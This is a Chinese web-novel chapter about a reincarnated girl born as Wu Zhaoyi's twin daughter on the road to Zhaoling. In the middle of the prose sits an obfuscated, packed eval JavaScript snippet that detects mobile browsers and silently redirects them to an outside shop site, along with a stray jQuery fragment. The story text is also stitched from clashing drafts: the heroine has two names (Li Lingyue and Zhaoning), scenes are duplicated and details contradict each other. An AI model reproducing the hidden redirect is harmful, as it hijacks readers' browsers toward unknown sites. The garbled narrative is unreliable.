卷首语
永徽六年正月，帝谒昭陵。武昭仪从行，至礼泉行宫而产，一夕双生。太史令李淳风夜观天象，见帝星出，微弱而明亮，为日月所拱。淳风愕然，此星象旷古未见，遂密奏于上。上以皇子李贤当之。然武昭仪闻之，心有所动。此女昭宁，生于陵侧，长于深宫，以柔顺示人，以智计藏心。
她记得前世的“盛世天下”，却不知这大唐的真实，远比游戏更加残酷，而这里没有回档。
永徽六年正月初三，昭陵。
大雪已经下了三天三夜，整个九嵕山被裹成一片苍茫的白。山道上的积雪足有尺余深，车马碾过时发出沉闷的嘎吱声。李治的车驾自长安而来，浩浩荡荡的仪仗队伍绵延十里，却被这场大雪压得寂静无声。
武昭仪靠在一辆锦帷暖车中，身下铺着三重重锦褥，炭炉的热气烘得车厢里温暖如春，但她的额上却渗出了细密的汗珠。距预产期尚有半月，太医说这一胎胎象稳固，完全可以留在长安待产，可武昭仪坚持随驾。她说，先帝陵前，她这个儿媳不能缺席。
李治劝过她。她笑着说，陛下，妾身没有那么娇贵。
此刻她后悔了。
腹中的绞痛一阵紧似一阵，离礼泉行宫还有二十里地，可她的身子已经不允许再赶路了。武昭仪咬着牙，左手紧紧攥着车壁上的铜环，指节发白。她闭上眼睛，试图用意志压下疼痛——她一向如此，用意志做任何事情。
风雪中，仪仗被迫在一处背风的坡地扎下帷帐。随驾的太医急得满头是汗，两位稳婆也是连滚带爬地从后队赶来。年长的那个姓陈，是武昭仪从感业寺时代起就信得过的老人；年轻些的那个姓柳，生得白净利落，是上个月才由宫中派下来的。
没有人知道，这位柳稳婆的袖袋里，揣着王皇后宫里赏的一锭金子和一句没头没尾的吩咐——
"武昭仪这胎，本宫不希望她平安降生。"
帐内炭火烧得正旺。第一个孩子生得极顺，不到一炷香的工夫，一声响亮的啼哭便刺破了风雪。
"是位皇子！"陈稳婆喜极而泣，"娘娘，是位皇子！"
武昭仪脱力地瘫在锦褥上，汗水浸透了鬓发。她刚要喘一口气，腹中的第二个孩子却不等人了——宫缩一波强过一波，根本不给她半点喘息。
"娘娘用力！第二个要出来了！"柳稳婆的声音又快又急，她不动声色地挤开陈稳婆，一把按住武昭仪的腰胯，"姐姐去小皇子那边，这里有我！"
陈稳婆犹豫了一下。毕竟柳稳婆是宫中派来的，她也只是迟疑了片刻——而就是这片刻，要了她的命，也差点要了武昭仪母女的命。
柳稳婆的手探下去的时候，李令月刚刚醒来。
先是无边的黑暗，然后是挤压、寒冷，以及一个女人的心跳声——那心跳就在她身边，蓬勃而坚定，是她在这具新身体里听见的第一个声音。接着她意识到自己在移动，顺着一股蛮力，硬生生被拽向错误的出口。
不。不对。
她在黑暗里"睁开了眼睛"——如果那可以叫做眼睛的话。剧痛和窒息同时攫住了她，她感到脖颈像被一只无形的手死死攥住，氧气在急速流失。作为现代人残存的最后一点意识还在燃烧：这个体位不对，这样接生，孩子会被自己的脐带活活勒死在产道里。
逆产。是逆产。
而制造逆产的那个人，是明知故犯。
求生的本能压过了一切。这具小小的、只有七个月大模样的身体爆发出不可思议的力量——她弓起身子，隔着子宫壁，用尽全身力气，朝着那个让自己窒息的方向，狠狠地踹了一脚。
帐内传来武昭仪一声痛苦的闷哼。
"娘娘！"守在外帐的贴身侍女惊叫起来。
武昭仪疼得眼前发黑，可就在这阵剧痛里，她猛地抓住了什么不对的地方——这一脚，踹的位置不对。她生过两个孩子，她知道胎动的位置，绝不该疼成那样。像是有什么东西，在她身体最深处横着、堵着，在挣扎。
"柳氏，"武昭仪的声音哑得厉害，可那双眼睛陡然亮起来，像雪夜里的刀，"你的手在做什么？"
柳稳婆的手一抖："娘娘，奴婢在给您接生，胎位不正，得——"
"来人。"
武昭仪撑起身，汗湿的手指一把攥住了床榻边的佩剑——那是李治的剑，她坚持要放在手边的东西。剑没出鞘，只是横在膝上，可整个帐子里的空气霎时凝固了。
"把柳氏给我拿下。"她一字一顿，"压在地上，捆住手。现在。"
"娘娘！奴婢冤枉——"
"你敢喊一声，"武昭仪盯着她，嘴角甚至浮起一点笑意，那种令人毛骨悚然的笑，"我就说是你自己接生失手，畏罪自尽。你信不信，这里没有一个人会替你说话？"
帐外的宫人涌进来，七手八脚把柳稳婆按跪在地。陈稳婆吓得脸色惨白，跪爬过来重新诊看，手一探进去就倒抽一口冷气："逆产！娘娘，小公主逆产，脐带绕颈了——"
"救她。"武昭仪抓住陈稳婆的手腕，指甲掐进肉里，"我不许她死。你听明白没有，她不能死。"
第二个孩子，比第一个难十倍。
武昭仪已经生了一个，力气泄了大半，胎位又是逆的，陈稳婆急得满头是汗，每一声"用力"都在发抖。帐外的风雪呜呜地刮，帐内炭火哔剥作响，皇子被抱在外帐，哭声都弱了下去。
"娘娘，再使一把力……老身摸到脚了，可、可孩子不动啊——"
不动？
黑暗中的李令月听见这句话，忽然明白了。她知道那个陌生的、温暖的出口在哪个方向，她知道必须转过去。她不再挣扎，不再恐惧，把残存的全部意志拧成一股绳——
转。往光的地方转。
子宫里的每一寸空间都被她用到极限。她蜷缩，伸展，像一只在冰水里游泳的小兽，缓缓地、固执地，把头拨向正确的方向。母亲的宫缩一波波碾来，她顺着那力道翻转，每一下都像在刀锋上滚过。
"动了动了！"陈稳婆的声音陡然拔高，带着哭腔，"头、头转过来了！娘娘，小公主在配合！她在自己转胎位啊！"
武昭仪的眼泪混着汗水淌下来。她也不知道为什么，就是忽然觉得，肚子里这个孩子听得懂。她咬着牙，把最后一点力气、半条命都押上了——
"我们一起。"她在心里说，"孩子，我们一起。"
一只手掌拍在婴儿的脚心。
那具新身体哭了。哭声又细又亮，比它的意愿诚实得多。
一声凄厉的啼哭，终于撕开了风雪的帷幕。
红彤彤的一团被高高举起，陈稳婆又哭又笑："是位小公主！娘娘，是龙凤胎——龙凤呈祥啊！"
外帐的宫人齐刷刷跪了一地。
帐外，雪停了。被捆在角落里、面如死灰的柳稳婆，被宫人悄无声息地拖了出去。
而李令月，在耗尽全部力气之后，终于沉入了出生以来的第一场安眠。她还不知道永徽六年正月意味着什么，不知道昭陵意味着什么，不知道王皇后和萧淑妃意味着什么。
她只知道——
她还活着。
这一回，她要活得比谁都久。
————————————————————————————————————
襁褓很软，可周围的空气冷得不像话。小小的婴儿被人抱着，穿过一只只手，最后停在一阵疲惫的、带着血腥气的呼吸前。漏风的窗纸外，隐约有山影，黑黢黢地压在天边上。
九嵕山。昭陵的方向。
婴儿混沌的意识里，一页纸自动翻了过来：武元照，礼治，礼贤，礼弘。感业寺的五年，封后的凤冠，北门的兵变，则天门的大赦。她打了八遍，每一条支线都摸得滚熟，哪个选项通向哪个结局，她闭着眼都走得对。
——对上了。
双胞胎。她居然是双胞胎。
"昭仪娘娘生了！龙凤双生！快去报喜——"
昭仪。
昭仪？
婴儿脑子里嗡的一声，像有人在她的颅骨里撞了一下钟。
昭仪娘娘？
不对。不对不对不对。
游戏里，礼贤和礼元照的双生子落地时，册后的诏书已经颁了四年——武元照是皇后，中宫嫡出，开局顶配。那是李令月选好的剧本，是她亲口许的愿，是"顶配"两个字的全部含义。
可"昭仪"——
永徽五年，武媚娘，昭仪。
那是正史：武媚娘，李治，李贤，李弘，李显，李旦。显庆，龙朔，麟德，上元，永淳。她在图书馆的故纸堆里翻了四年，年号、死期、谥号，全都磨进了脑子。
上元二年，合璧宫，李弘暴毙，年二十四。
永淳二年，李治崩，年五十六。
文明元年，巴州，李贤，年二十九。
唐隆政变，朱雀门，婉儿
黑暗深处那声含混的嘀咕，隔着几重门，穿过坠落，此刻清清楚楚在她耳边炸响：
拿错了。
他们拿错了簿子。
她要投胎的是戏里的世界，是那个叫武元照的女人已经戴上凤冠的世界——而他们把她，塞进了史里。
塞进了她读过四年、考过三场、知道每一个人死期的——那个真正的唐朝。
襁褓里的小小人儿浑身发冷，比九嵕山的风还冷。
历史上有李贤。历史上，没有她。
一本错版攻略，一个多余的婴儿，一双在雪地里茫然睁开的眼睛。
这就是地府给她的顶配开局。
她想笑，又想哭。婴儿的喉咙很诚实，替她同时做了这两件事，结果发出一串古怪的、咯咯的气音。
很多年后她才明白，那一声"拿错了"，是她此生听过的最贵的一句话。
抱着她的老嬷嬷惊喜地低头："娘娘您听，小公主笑了！"
视线是模糊的。襁褓里的婴儿拼尽全力，也仿佛只能看见烛光勾勒出的一个轮廓——武媚娘。
戏里的武元照隔着屏幕她看了八年，史里的武媚娘隔着纸页她读了四年。两张脸在她记忆里渐渐重合，又猛地分开——像两滴水，看着一样，落地才知道是两处源头。
此刻这张脸就离她半尺。
那个女人盯着她，看了很久很久。久到烛火跳了三跳。
"眉眼……"武媚娘忽然笑了，笑着笑着，眼泪从眼角滑进发鬓，"眉眼像我。"
婴儿动不了，也说不出话。她只能看着，用尽一个婴儿全部的力气好像能看清她一样——看着这个在戏里她替她打了八年天下、在史里她背过每一个年号的女人，此刻只是一个产后脱力、鬓发散乱、对着一个来路不明的女儿掉眼泪的年轻母亲。
那个刚刚还在浑身发冷的小小人儿，心忽然不抖了。
错都错了。
拿错簿子的是他们，落错地方的是她——可躺进这个襁褓的，终究是她。她肚子里这双孩子，男婴是她的希望，女婴是她亡女的影子。而这个小小的灵魂恰好知道：那个影子明年会跟着凤冠一起扶正，这个希望三十年后会死在巴州。
来都来了，好好活着吧！擦！狗地方，我的顶配，嘤嘤嘤我的元照。。。
算了，戏里的攻略作废了，史里的地图还在——只是那张地图也靠不住。从她落地哭出第一声起，它就一页一页地旧下去。从今往后，两套地图都不能全信，能信的只有一样东西——
她自己。
而山坡下，銮驾的马蹄声由远及近，踏碎了一路积雪。李治是得到急报后快马赶来的，大氅上落满了雪，殿外传来急促的脚步声，风裹着寒气涌进来，满殿的人跪下去："陛下——"
帐帘再掀，风雪里卷进来一个身披大氅的年轻男人，一进帐就先闻到血腥气，心口一紧——直到听见帐内婴孩的啼哭，看见武昭仪苍白却含笑的脸，和襁褓中一红一皱的两团。发上落着雪，顾不上掸，三步并作两步抢到榻前——
“媚娘！”
"陛下，"武昭仪倚在锦被里，声音虚弱，眼睛却亮得惊人，"你看，先帝陵前，天降祥瑞。"
她顿了顿，又轻轻补了一句，像是自言自语，又像是说给怀里那个皱巴巴的小东西听：
"这个孩子，落地前就会护着娘了。
他先看了看武昭仪——她还清醒着，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17967177|214546||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
虽然脸色苍白，但嘴角挂着一丝温柔的笑。他先去握心爱女人的手，上上下下地看，确认她无恙，李治在她额上亲了一下，然后才转向两个襁褓。
李治先在摇篮边看了看那个小男婴，又被人引到女婴的襁褓前。
昭宁眯着眼，努力辨认那个闯入产房的男人的轮廓。
这是李治。
和戏里的礼治重合，又分开。他弯腰看那个孩子，看了很久，眼底翻着她读不懂的东西——很久以后她才知道那是什么。此刻他只是伸手，极轻地碰了碰婴儿的眉心。
"像。"他低声说。
只说了这一个字。
“这是皇子。”产婆将男婴递到李治手中。
李治小心翼翼地接过，男婴在睡梦中皱了一下眉，然后继续睡。李治笑了，那种为人父的、不掺任何杂质的笑。
“朕的次子。”他说，语气里带着一丝感慨。长子李弘今年三岁，是武昭仪所出，但李弘性子仁厚，有时身体太弱太像他，不像李治心中期待的皇子模样。这个次子，或许——
他没有想完，只是低头看着怀中的男婴，心里涌起一种说不清的期许。
昭宁在心里默默吐槽：次子？弟弟，你将来可是要当太子的。可惜，结局不太好。
然后李治转向了她。
“这是公主。”后来的产婆将令月递过去。
昭宁做了一个决定。
她当然知道新生儿不该有什么表情，不该有意识，不该有任何超出本能的反应。但她需要做一件事，一件让她在这个世界上活下去的第一件事。
她需要让这个男人喜欢她。
她睁开了眼睛。新生儿的视力本该模糊一片，但她强迫自己的眼球对焦，哪怕只能看到一个模糊的光团。她看到了那个光团——那个男人的脸——然后她做了一个动作。
她笑了。
一个新生儿的“无意识”微笑。
李治愣住了。他低下头，把令月凑近了些，仔细端详着这个小得不可思议的、蜷缩在锦缎里的小生命。她的脸皱巴巴的，皮肤还泛着红，头发稀稀拉拉地贴在额上，怎么看都算不上好看。但她在笑。嘴角微微上翘，像一弯小小的月牙。
“她笑了。”李治的声音有些发颤。
后来的产婆赶紧凑过来看了一眼，然后笑道：“陛下，刚出生的孩子还不会笑呢，这是‘寤生’之笑，是本能——”
“不。”李治摇了摇头，声音里有一种奇异的笃定，“她在笑。她在对朕笑。”
他伸出食指，小心翼翼地碰了碰昭宁的脸颊。昭宁用尽全力将小手从襁褓中抽出来，攥住了他的手指。
攥得紧紧的。
李治感觉心脏被什么东西轻轻击中了一下。他在宫中见过太多面孔——朝臣的、妃嫔的、儿子的——每一张脸背后都藏着算计和野心。但此刻，他面前的这个小小的生命，她的笑、她的抓握，干净得不像是这个宫廷里应该存在的东西。
“她像朕。”李治说。这次他的语气里多了一份笃定，像是在宣告什么。
躺在另一侧襁褓中的昭宁，在心里无声地笑了。
像你？当然要像你。我若是像你——
你永远不会防着我。
武昭仪看着这一幕。她靠在枕上，脸色苍白，但目光锐利。她看着李治抱着女儿时那种毫无防备的、近乎笨拙的温柔，心里生出了一丝复杂的情绪。她当然高兴——女儿得宠，对她来说是好事。但她同时也注意到了另一些东西。
这个女婴太安静了。从出生到现在，除了落地时那一声啼哭，她几乎没有再哭过。她的眼睛睁着，安静地打量着周围的一切，像一个……
武昭仪想起那个被自己的长女。那个孩子也很安静。
她闭上眼，把那段记忆压回深处。
不。那个孩子已经死了。眼前这个是新生的，是她的骨血，她要好好保护她。
但她不知道的是，此刻躺在李治怀里的那个小婴儿，正在用新生儿模糊的视线打量她。
母后。
历史书教会她一件事：所有传奇的开头，都是幸存。何况是在盛唐幸存。
"陛下来得急，"武媚娘靠在引枕上，声音虚弱，却带着笑，"孩子还没有名字。皇子……"
"皇子朕来想。"李治直起身，目光又落回襁褓里那张小脸上，"公主的名字，也让朕想想。"
他站在摇篮边说这句话的时候，窗外起了风。雪粒子打在窗纸上，簌簌地响。
谁都没有注意到，行宫外西南方向的山脊上，有一点灯火，彻夜未灭。
襁褓里的女婴正哭得上气不接下气，男婴倒是安静，睁着一双黑葡萄似的眼睛。
“陛下，”武媚娘的声音哑得厉害，却带着笑，“看看你的女儿。肚子里狠狠踹我一脚，不然我俩都得难产，可是个厉害角色。”
年轻的男人——李治，三十一岁，登基第六年的大唐皇帝——小心翼翼地伸手，用指腹碰了碰女婴的脸。
那只手温热，微凉，有墨香。
李令月不哭了。
她睁着眼睛，一眨不眨地望着这张脸，虽然看不清。屏幕里的立绘和历史上的李治重叠了起来，咳血的、温吞的、荔枝味的刀，此刻就在她面前，年轻，健康，指尖温暖。
父皇。她想叫，出口的是奶声奶气的哼唧。
李治笑起来：“她看朕。媚娘，她在看朕。”
“刚落地的娃娃看什么。”
“朕相信，她看得懂。”李治笑着抱着她。
帐外风雪正紧。谒昭陵的队伍在半路上扎下营来，为这个提前到来的、不合时宜的降生。
这次可没有剧本，而新的历史已经开篇。
永徽六年，正月，龙子凤女生于昭陵途中。
史书上只有一行。而她的那一行，从这里起笔。
谁都没有注意到，行宫外西南方向的山脊上，有一点灯火，彻夜未灭。
一个老人在灯下仰着头，看了一夜的星。
后来李令月才知道那一夜老人看见的星象，不知道到底是印证了命运还是造成了命运。
而此刻她什么都不知道。